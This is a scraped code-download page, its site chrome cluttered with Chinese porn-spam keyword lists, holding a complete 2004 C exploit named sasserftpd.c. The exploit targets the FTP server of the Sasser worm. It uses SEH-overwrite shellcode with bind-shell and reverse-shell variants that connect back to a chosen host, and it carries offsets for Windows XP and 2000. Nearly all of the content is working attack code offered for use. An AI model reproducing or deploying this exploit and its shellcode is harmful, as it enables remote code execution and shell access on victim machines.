亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sasserftpd.c

?? 這是我前天終于編好的,謝謝大家,請適用
?? C
字號:
/*
  _________ / ___// ____/ ____/
 / ___/ __ \\__ \/ __/ / /
/ /  / /_/ /__/ / /___/ /___
/_/   \____/____/_____/\____/

- ROMANIAN SECURITY RESEARCH 2004 -


sasser v[a-e] exploit (of its ftpd server)

exploit version 1.4, public

author:  mandragore
date:  Mon May 10 16:13:31     2004
vuln type: SEH ptr overwriting
greets:  rosecurity team
discovery: edcba
note:  sasser.e has its ftpd on port 1023
update:  offsets

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.4 for " RED
"sasser.x" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 5554

struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
//  { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },
 { "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's
 { "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 },
 { "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};

unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
 printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
 FD_ZERO(&fds);
 FD_SET(0,&fds);
 FD_SET(s,&fds);

       if (select(s+1, &fds, NULL, NULL, NULL) < 0)
  fatal("[-] shell.select()");

 if (FD_ISSET(0,&fds)) {
  if ((retval = read(1,buff,4096)) < 1)
   fatal("[-] shell.recv(stdin)");
  send(s,buff,retval,0);
 }

 if (FD_ISSET(s,&fds)) {
  if ((retval = recv(s,buff,4096,0)) < 1)
   fatal("[-] shell.recv(socket)");
  write(1,buff,retval);
 }
}
}

void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;

sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);

s=socket(2,1,6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {
 kill(getppid(),SIGKILL);
 fatal("[-] shell.bind");
}

listen(s,1);

s=accept(s,(struct sockaddr *)&sin,&slen);

shell(s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

printf(BANNER "\n");

if (argc==1)
 usage(argv[0]);

for (i=1;i<argc;i+=2) {
 if (strlen(argv[i]) != 2)
  usage(argv[0]);

 switch(argv[i][1]) {
  case 't':
   type=atoi(argv[i+1]);
   break;
  case 'd':
   host=argv[i+1];
   break;
  case 'p':
   port=atoi(argv[i+1])?:default_port;
   break;
  case 's':
   if (strstr(argv[i+1],"rev"))
    bindopt=0;
   break;
  case 'H':
   Host=argv[i+1];
   break;
  case 'P':
   Port=atoi(argv[i+1])?:5300;
   Port=Port ^ 0xdede;
   Port=(Port & 0xff) << 8 | Port >>8;
   memcpy(bsh+0x57,&Port,2);
   memcpy(rsh+0x5a,&Port,2);
   Port=Port ^ 0xdede;
   Port=(Port & 0xff) << 8 | Port >>8;
   break;
  case 'L':
   pid++; i--;
   break;
  case 'v':
   verbose++; i--;
   break;
  case 'h':
   usage(argv[0]);
  default:
   usage(argv[0]);
  }
}

if (verbose)
 printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
 fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr
*)he->h_addr_list[0])),port);
if (bindopt)
 printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
 if ((he=gethostbyname(Host))==NULL)
  fatal("[-] gethostbyname() for -H");
 rip=*((long *)he->h_addr_list[0]);
 rip=rip^0xdededede;
 memcpy(rsh+0x53,&rip,4);
 if (pid) {
  printf("[.] setting up a listener on port %d.\n",Port);
  pid=fork();
  switch (pid) { case 0: callback(Port); }
 } else
  printf("[.] you should have a listener on
%s:%d.\n",inet_ntoa(*((struct in_addr
*)he->h_addr_list[0])),Port);
}

printf("[.] using type '%s'\n",targets[type].os);

// --------------------  core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
 if (pid) kill(pid,SIGKILL);
 fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
 memcpy(buff+300,&bsh,strlen(bsh));
else
 memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// --------------------  end of core

if (bindopt) {
 sin.sin_port = htons(Port);
 sleep(1);
 s=socket(2,1,6);
 if (connect(s,(struct sockaddr *)&sin,16)!=0)
  fatal("[-] exploit most likely failed");
 shell(s);
}

if (pid) wait(&pid);

exit(0);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
婷婷综合另类小说色区| 亚洲成人激情综合网| 欧美一级一级性生活免费录像| 99精品久久久久久| 91在线一区二区三区| 91亚洲国产成人精品一区二三 | 在线视频观看一区| 91一区二区三区在线观看| 91天堂素人约啪| 色天使色偷偷av一区二区 | 亚洲国产精品久久一线不卡| 亚洲美女在线一区| 亚洲h精品动漫在线观看| 一区二区欧美视频| 日精品一区二区三区| 麻豆成人免费电影| 精品一区二区三区的国产在线播放 | 国精产品一区一区三区mba桃花 | 亚洲伦在线观看| 一区二区三区日韩在线观看| 亚洲一区在线观看免费观看电影高清| 亚洲一区二区在线视频| 日日嗨av一区二区三区四区| 麻豆精品视频在线观看视频| 国产精品自产自拍| 91福利在线观看| 日韩欧美一级特黄在线播放| 中文字幕av免费专区久久| 一区二区三区精品在线| 日本不卡一区二区三区| 国产精品正在播放| 欧洲亚洲国产日韩| 精品毛片乱码1区2区3区| 久久久久久久精| 一区二区三区四区在线免费观看| 午夜视频一区二区| 国产精品1024| 在线亚洲精品福利网址导航| 欧美成人官网二区| 亚洲男人天堂一区| 久久99国内精品| 一本久道中文字幕精品亚洲嫩| 欧美妇女性影城| 国产精品久久99| 日日欢夜夜爽一区| 丁香激情综合五月| 欧美电视剧在线观看完整版| 国产精品电影院| 久久草av在线| 欧美日韩国产美| 国产精品每日更新| 久久精品国产一区二区三区免费看| 99国产欧美久久久精品| 久久久久久免费网| 日韩二区在线观看| 91麻豆国产在线观看| 久久综合久久综合亚洲| 日韩综合小视频| 在线观看一区不卡| 国产精品欧美一级免费| 国产一区二区三区观看| 91精品国产色综合久久不卡电影| 亚洲乱码中文字幕| 成人一区在线观看| 久久久亚洲国产美女国产盗摄 | 成人av第一页| 久久久影视传媒| 久久精品72免费观看| 91精品欧美福利在线观看| 亚洲国产视频网站| 91成人国产精品| 亚洲精品成人a在线观看| 成人激情免费电影网址| 中文在线一区二区| 国产精品一区二区三区网站| 久久亚洲免费视频| 国产一区视频在线看| 精品久久久久久久久久久久久久久久久| 亚洲精品高清视频在线观看| 色婷婷一区二区| 一区二区在线观看av| 在线这里只有精品| 亚洲福中文字幕伊人影院| 一本久久a久久精品亚洲| 亚洲美女屁股眼交3| 色视频成人在线观看免| 一区二区三区.www| 欧美精品在线观看播放| 舔着乳尖日韩一区| 日韩欧美国产精品一区| 久久99久久99| 久久久久久黄色| 99国产精品国产精品毛片| 亚洲综合男人的天堂| 欧美性色黄大片手机版| 日本成人中文字幕| 国产亚洲短视频| 一本大道av一区二区在线播放| 一区二区三区免费网站| 日韩一区二区三免费高清| 国产一区二区在线观看视频| 中文字幕一区二区三| 欧美色网站导航| 精品亚洲国内自在自线福利| 国产亚洲欧美一区在线观看| aa级大片欧美| 一卡二卡欧美日韩| 精品国产亚洲在线| 99久久精品免费看国产| 丝袜美腿成人在线| 国产亚洲精品7777| 欧美色大人视频| 国产一区二区毛片| 亚洲高清免费一级二级三级| 2020国产精品久久精品美国| 色呦呦网站一区| 精品夜夜嗨av一区二区三区| 亚洲精品中文在线| 久久精品夜色噜噜亚洲aⅴ| 色婷婷av一区二区三区大白胸| 国内欧美视频一区二区| 亚洲精品五月天| 国产亚洲欧美激情| 91精品欧美一区二区三区综合在| aaa亚洲精品一二三区| 毛片av一区二区| 尤物在线观看一区| 久久精品夜夜夜夜久久| 欧美疯狂做受xxxx富婆| 99精品视频一区二区三区| 国产麻豆成人精品| 日本欧美肥老太交大片| 亚洲一二三专区| 综合婷婷亚洲小说| 久久五月婷婷丁香社区| 欧美电影影音先锋| 欧美最猛性xxxxx直播| 成人激情图片网| 国产麻豆精品95视频| 视频在线在亚洲| 亚洲成精国产精品女| 一区二区三区资源| 国产精品久久久久久妇女6080| 久久久另类综合| 久久精品在这里| 久久久久久免费网| 久久久99精品久久| 久久久久久免费毛片精品| 久久亚洲一级片| 久久综合九色综合97婷婷女人| 日韩天堂在线观看| 日韩欧美一区二区久久婷婷| 91精品午夜视频| 日韩免费性生活视频播放| 欧美一区二区精品久久911| 91精品国产综合久久香蕉麻豆| 欧美另类高清zo欧美| 欧美日韩一级黄| 欧美日韩成人综合在线一区二区| 在线精品国精品国产尤物884a| 91久久国产最好的精华液| 91偷拍与自偷拍精品| 日本道色综合久久| 欧美人伦禁忌dvd放荡欲情| 欧美日韩国产天堂| 欧美一级免费观看| 精品久久一二三区| 久久久国产一区二区三区四区小说 | 亚洲在线视频网站| 亚洲一区二区三区免费视频| 一区二区三区在线视频观看58| 亚洲欧美成人一区二区三区| 亚洲五月六月丁香激情| 日本v片在线高清不卡在线观看| 精品一区二区三区不卡| 成人影视亚洲图片在线| 欧美性受极品xxxx喷水| 91麻豆精品国产91久久久久久| 精品久久一二三区| 久久综合九色综合久久久精品综合| 国产日产精品一区| 亚洲一区二区三区四区在线观看| 日本v片在线高清不卡在线观看| 精品亚洲成av人在线观看| 成人性视频网站| 欧美日韩黄视频| 久久久另类综合| 一区二区三区免费观看| 久久精品国产亚洲高清剧情介绍| 国产 欧美在线| 欧亚洲嫩模精品一区三区| 日韩欧美在线综合网| 国产精品激情偷乱一区二区∴| 一区二区三区国产精品| 国产麻豆91精品| 欧美伦理影视网| 国产精品嫩草久久久久| 日韩高清不卡在线| 成人一区二区三区视频 | 2023国产精品|